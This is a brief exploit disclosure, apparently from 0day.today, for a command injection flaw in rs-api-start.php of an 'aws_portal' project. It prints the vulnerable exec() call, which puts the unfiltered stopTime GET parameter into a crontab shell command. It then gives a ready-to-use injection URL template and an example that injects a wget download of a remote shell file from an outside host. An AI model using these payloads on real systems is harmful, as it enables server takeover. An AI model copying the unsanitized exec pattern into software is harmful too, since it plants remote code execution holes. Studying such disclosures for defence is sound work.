Amazon Web Services, aws_portal / remote code execution

file rs-api-start.php uses getparameter stopTime in command execution without fiter

code snip

exec('echo -e "`crontab -l`\n0 '.$_GET['stopTime'].' * * 1-5 wget http://rsportal.dev.sifworks.com/'.$myStopFile.'" | crontab -');

user can run arbitrary command with it. 

usage : http://127.0.0.1/test.php?serverid[0]=1&user=me&stopTime="|<command here>| echo -e "`crontab -l`\n0 


example : http://127.0.0.1/test.php?serverid[0]=1&user=me&stopTime="| wget http://site.com/shell.txt | echo -e "`crontab -l`\n0

#  0day.today [2018-03-14]  #